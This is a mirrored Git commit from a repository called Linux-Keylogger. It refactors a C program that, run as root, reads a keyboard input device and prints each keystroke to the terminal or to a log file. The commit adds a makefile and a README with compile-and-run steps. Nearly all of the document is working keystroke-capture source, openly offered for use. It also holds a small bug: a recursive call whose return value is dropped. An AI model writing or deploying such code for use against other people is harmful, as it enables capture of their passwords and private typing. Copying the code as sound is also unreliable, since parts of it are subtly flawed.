mirror of
https://github.com/dimkouv/Linux-Keylogger.git
synced 2025-05-15 16:10:12 -07:00
separate files
This commit is contained in:
parent
c98fc1ce75
commit
ee9c1da20b
29
README.md
29
README.md
@ -1,8 +1,16 @@
|
|||||||
# Linux Keylogger
|
# Linux Keylogger
|
||||||
|
|
||||||
# How to use
|
# Instructions
|
||||||
Find your keyboard device
|
|
||||||
Your keyboard device should be in the below format
|
- Compile keylogger
|
||||||
|
```sh
|
||||||
|
$ cd Linux-Keylogger
|
||||||
|
$ make
|
||||||
|
```
|
||||||
|
|
||||||
|
|
||||||
|
- Find your keyboard device
|
||||||
|
Your keyboard device should be
|
||||||
```
|
```
|
||||||
/dev/input/eventX
|
/dev/input/eventX
|
||||||
```
|
```
|
||||||
@ -11,21 +19,16 @@ Find it using
|
|||||||
$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
|
$ cat /var/log/Xorg.0.log | grep /dev/input | grep -i keyboard
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
- Run keylogger
|
- Run keylogger
|
||||||
```sh
|
```sh
|
||||||
$ sudo bin/keylogger /dev/input/eventX
|
$ sudo ./keylogger /dev/input/eventX
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
Now whatever you type should be printed in the terminal.
|
- Run examples
|
||||||
If you want to keep in log file use
|
|
||||||
```sh
|
```sh
|
||||||
$ sudo bin/keylogger /dev/input/eventX > logfile.txt
|
$ sudo ./keylogger /dev/input3
|
||||||
|
$ sudo ./keylogger /dev/input3 > logfile.txt
|
||||||
```
|
```
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
@TODO
|
|
||||||
1. Find keyboard device automatically
|
|
||||||
2. Write logs to structured html file
|
|
||||||
|
BIN
bin/keylogger
BIN
bin/keylogger
Binary file not shown.
138
keylogger.c
138
keylogger.c
@ -1,17 +1,5 @@
|
|||||||
#include <linux/input.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
int get_key_press(int fd, struct input_event ev);
|
#include "keylogger.h"
|
||||||
int input_has_errors(int argc, char *argv[]);
|
|
||||||
int user_is_root();
|
|
||||||
char * get_key_description(int key_code);
|
|
||||||
void generate_mappings(char ** mappings);
|
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* returns 0 if user is not root
|
* returns 0 if user is not root
|
||||||
@ -43,7 +31,7 @@ int input_has_errors(int argc, char *argv[]) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
* -Reads input event (key stroke)
|
* -Reads input event (key stroke)
|
||||||
* -Returns the key when it's released
|
* -Returns the key when it's released
|
||||||
* This means that by long pressing a key it only gets logged once.
|
* This means that by long pressing a key it only gets logged once.
|
||||||
@ -58,125 +46,5 @@ int get_key_press(int fd, struct input_event ev) {
|
|||||||
|
|
||||||
// if no key pressed check again
|
// if no key pressed check again
|
||||||
get_key_press(fd, ev);
|
get_key_press(fd, ev);
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
int main(int argc, char *argv[]) {
|
|
||||||
// Convert key codes to string values
|
|
||||||
// ex: mappings[code] = "value"
|
|
||||||
char * mappings[1024];
|
|
||||||
int i;
|
|
||||||
for (i=0; i<1024; i++) mappings[i] = "invalid";
|
|
||||||
generate_mappings(mappings);
|
|
||||||
|
|
||||||
|
|
||||||
// Check for errors
|
|
||||||
if (input_has_errors(argc, argv)) {
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
if (!user_is_root()) {
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Start keyboard device as read only
|
|
||||||
int fd;
|
|
||||||
fd = open(argv[1], O_RDONLY);
|
|
||||||
|
|
||||||
// Initialize input event
|
|
||||||
struct input_event ev;
|
|
||||||
|
|
||||||
// Scan for key strokes and print them
|
|
||||||
while (1){
|
|
||||||
int key_code = get_key_press(fd, ev); // get key code
|
|
||||||
if (key_code < 1024)
|
|
||||||
printf("%s\n",mappings[key_code]); // print value of key code
|
|
||||||
}
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Generates a value for each key stroke code
|
|
||||||
*/
|
|
||||||
void generate_mappings(char ** codes) {
|
|
||||||
codes[1] = "esc";
|
|
||||||
codes[59] = "f1";
|
|
||||||
codes[60] = "f2";
|
|
||||||
codes[61] = "f3";
|
|
||||||
codes[62] = "f4";
|
|
||||||
codes[63] = "f5";
|
|
||||||
codes[64] = "f6";
|
|
||||||
codes[65] = "f7";
|
|
||||||
codes[66] = "f8";
|
|
||||||
codes[67] = "f9";
|
|
||||||
codes[68] = "f10";
|
|
||||||
codes[87] = "f11";
|
|
||||||
codes[88] = "f12";
|
|
||||||
// --
|
|
||||||
codes[41] = "`";
|
|
||||||
codes[2] = "1";
|
|
||||||
codes[3] = "2";
|
|
||||||
codes[4] = "3";
|
|
||||||
codes[5] = "4";
|
|
||||||
codes[6] = "5";
|
|
||||||
codes[7] = "6";
|
|
||||||
codes[8] = "7";
|
|
||||||
codes[9] = "8";
|
|
||||||
codes[10] = "9";
|
|
||||||
codes[11] = "0";
|
|
||||||
codes[12] = "-";
|
|
||||||
codes[13] = "=";
|
|
||||||
codes[14] = "back";
|
|
||||||
// --
|
|
||||||
codes[15] = "tab";
|
|
||||||
codes[16] = "q";
|
|
||||||
codes[17] = "w";
|
|
||||||
codes[18] = "e";
|
|
||||||
codes[19] = "r";
|
|
||||||
codes[20] = "t";
|
|
||||||
codes[21] = "y";
|
|
||||||
codes[22] = "u";
|
|
||||||
codes[23] = "i";
|
|
||||||
codes[24] = "o";
|
|
||||||
codes[25] = "p";
|
|
||||||
codes[26] = "[";
|
|
||||||
codes[27] = "]";
|
|
||||||
codes[43] = "\\";
|
|
||||||
// --
|
|
||||||
codes[58] = "caps";
|
|
||||||
codes[30] = "a";
|
|
||||||
codes[31] = "s";
|
|
||||||
codes[32] = "d";
|
|
||||||
codes[33] = "f";
|
|
||||||
codes[34] = "g";
|
|
||||||
codes[35] = "h";
|
|
||||||
codes[36] = "j";
|
|
||||||
codes[37] = "k";
|
|
||||||
codes[38] = "l";
|
|
||||||
codes[39] = ";";
|
|
||||||
codes[40] = "\"";
|
|
||||||
codes[28] = "\n";
|
|
||||||
// --
|
|
||||||
codes[42] = "shift";
|
|
||||||
codes[44] = "z";
|
|
||||||
codes[45] = "x";
|
|
||||||
codes[46] = "c";
|
|
||||||
codes[47] = "v";
|
|
||||||
codes[48] = "b";
|
|
||||||
codes[49] = "n";
|
|
||||||
codes[50] = "m";
|
|
||||||
codes[51] = ",";
|
|
||||||
codes[52] = ".";
|
|
||||||
codes[53] = "/";
|
|
||||||
codes[54] = "shift";
|
|
||||||
// --
|
|
||||||
codes[29] = "ctrl";
|
|
||||||
codes[125] = "super";
|
|
||||||
codes[56] = "alt";
|
|
||||||
codes[57] = " ";
|
|
||||||
codes[100] = "alt";
|
|
||||||
codes[126] = "super";
|
|
||||||
codes[127] = "right click";
|
|
||||||
codes[97] = "ctrl";
|
|
||||||
}
|
}
|
||||||
|
19
keylogger.h
Normal file
19
keylogger.h
Normal file
@ -0,0 +1,19 @@
|
|||||||
|
#ifndef KEYLOGGER_H_INCLUDED
|
||||||
|
#define KEYLOGGER_H_INCLUDED
|
||||||
|
|
||||||
|
#include <linux/input.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
|
||||||
|
int get_key_press(int fd, struct input_event ev);
|
||||||
|
int input_has_errors(int argc, char *argv[]);
|
||||||
|
int user_is_root();
|
||||||
|
char * get_key_description(int key_code);
|
||||||
|
void generate_mappings(char ** mappings);
|
||||||
|
|
||||||
|
#endif
|
45
main.c
Normal file
45
main.c
Normal file
@ -0,0 +1,45 @@
|
|||||||
|
#include <linux/input.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/stat.h>
|
||||||
|
#include <fcntl.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <unistd.h>
|
||||||
|
|
||||||
|
#include "keylogger.h"
|
||||||
|
#include "mappings.h"
|
||||||
|
|
||||||
|
|
||||||
|
int main(int argc, char *argv[]) {
|
||||||
|
// Convert key codes to string values
|
||||||
|
// ex: mappings[code] = "value"
|
||||||
|
char * mappings[1024];
|
||||||
|
int i;
|
||||||
|
for (i=0; i<1024; i++) mappings[i] = "invalid";
|
||||||
|
generate_mappings(mappings);
|
||||||
|
|
||||||
|
|
||||||
|
// Check for errors
|
||||||
|
if (input_has_errors(argc, argv)) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
if (!user_is_root()) {
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Start keyboard device as read only
|
||||||
|
int fd;
|
||||||
|
fd = open(argv[1], O_RDONLY);
|
||||||
|
|
||||||
|
// Initialize input event
|
||||||
|
struct input_event ev;
|
||||||
|
|
||||||
|
// Scan for key strokes and print them
|
||||||
|
while (1){
|
||||||
|
int key_code = get_key_press(fd, ev); // get key code
|
||||||
|
if (key_code < 1024)
|
||||||
|
printf("%s\n",mappings[key_code]); // print value of key code
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
17
makefile
Normal file
17
makefile
Normal file
@ -0,0 +1,17 @@
|
|||||||
|
CC = gcc
|
||||||
|
|
||||||
|
keylogger: main.o keylogger.o mappings.o
|
||||||
|
$(CC) -o keylogger main.o keylogger.o mappings.o
|
||||||
|
|
||||||
|
|
||||||
|
main.o: main.c keylogger.h mappings.h
|
||||||
|
$(CC) -c main.c -o main.o
|
||||||
|
|
||||||
|
keylogger.o: keylogger.c keylogger.h
|
||||||
|
$(CC) -c keylogger.c -o keylogger.o
|
||||||
|
|
||||||
|
mappings.o: mappings.c mappings.h
|
||||||
|
$(CC) -c mappings.c -o mappings.o
|
||||||
|
|
||||||
|
clean:
|
||||||
|
$(RM) *.o keylogger
|
86
mappings.c
Normal file
86
mappings.c
Normal file
@ -0,0 +1,86 @@
|
|||||||
|
#include "mappings.h"
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Generates a value for each key stroke code
|
||||||
|
*/
|
||||||
|
void generate_mappings(char ** codes) {
|
||||||
|
codes[1] = "esc";
|
||||||
|
codes[59] = "f1";
|
||||||
|
codes[60] = "f2";
|
||||||
|
codes[61] = "f3";
|
||||||
|
codes[62] = "f4";
|
||||||
|
codes[63] = "f5";
|
||||||
|
codes[64] = "f6";
|
||||||
|
codes[65] = "f7";
|
||||||
|
codes[66] = "f8";
|
||||||
|
codes[67] = "f9";
|
||||||
|
codes[68] = "f10";
|
||||||
|
codes[87] = "f11";
|
||||||
|
codes[88] = "f12";
|
||||||
|
// --m
|
||||||
|
codes[41] = "`";
|
||||||
|
codes[2] = "1";
|
||||||
|
codes[3] = "2";
|
||||||
|
codes[4] = "3";
|
||||||
|
codes[5] = "4";
|
||||||
|
codes[6] = "5";
|
||||||
|
codes[7] = "6";
|
||||||
|
codes[8] = "7";
|
||||||
|
codes[9] = "8";
|
||||||
|
codes[10] = "9";
|
||||||
|
codes[11] = "0";
|
||||||
|
codes[12] = "-";
|
||||||
|
codes[13] = "=";
|
||||||
|
codes[14] = "back";
|
||||||
|
// --
|
||||||
|
codes[15] = "tab";
|
||||||
|
codes[16] = "q";
|
||||||
|
codes[17] = "w";
|
||||||
|
codes[18] = "e";
|
||||||
|
codes[19] = "r";
|
||||||
|
codes[20] = "t";
|
||||||
|
codes[21] = "y";
|
||||||
|
codes[22] = "u";
|
||||||
|
codes[23] = "i";
|
||||||
|
codes[24] = "o";
|
||||||
|
codes[25] = "p";
|
||||||
|
codes[26] = "[";
|
||||||
|
codes[27] = "]";
|
||||||
|
codes[43] = "\\";
|
||||||
|
// --
|
||||||
|
codes[58] = "caps";
|
||||||
|
codes[30] = "a";
|
||||||
|
codes[31] = "s";
|
||||||
|
codes[32] = "d";
|
||||||
|
codes[33] = "f";
|
||||||
|
codes[34] = "g";
|
||||||
|
codes[35] = "h";
|
||||||
|
codes[36] = "j";
|
||||||
|
codes[37] = "k";
|
||||||
|
codes[38] = "l";
|
||||||
|
codes[39] = ";";
|
||||||
|
codes[40] = "\"";
|
||||||
|
codes[28] = "\n";
|
||||||
|
// --
|
||||||
|
codes[42] = "shift";
|
||||||
|
codes[44] = "z";
|
||||||
|
codes[45] = "x";
|
||||||
|
codes[46] = "c";
|
||||||
|
codes[47] = "v";
|
||||||
|
codes[48] = "b";
|
||||||
|
codes[49] = "n";
|
||||||
|
codes[50] = "m";
|
||||||
|
codes[51] = ",";
|
||||||
|
codes[52] = ".";
|
||||||
|
codes[53] = "/";
|
||||||
|
codes[54] = "shift";
|
||||||
|
// --
|
||||||
|
codes[29] = "ctrl";
|
||||||
|
codes[125] = "super";
|
||||||
|
codes[56] = "alt";
|
||||||
|
codes[57] = " ";
|
||||||
|
codes[100] = "alt";
|
||||||
|
codes[126] = "super";
|
||||||
|
codes[127] = "right click";
|
||||||
|
codes[97] = "ctrl";
|
||||||
|
}
|
6
mappings.h
Normal file
6
mappings.h
Normal file
@ -0,0 +1,6 @@
|
|||||||
|
#ifndef MAPPINGS_H_INCLUDED
|
||||||
|
#define MAPPINGS_H_INCLUDED
|
||||||
|
|
||||||
|
void generate_mappings(char ** codes);
|
||||||
|
|
||||||
|
#endif
|
Loading…
x
Reference in New Issue
Block a user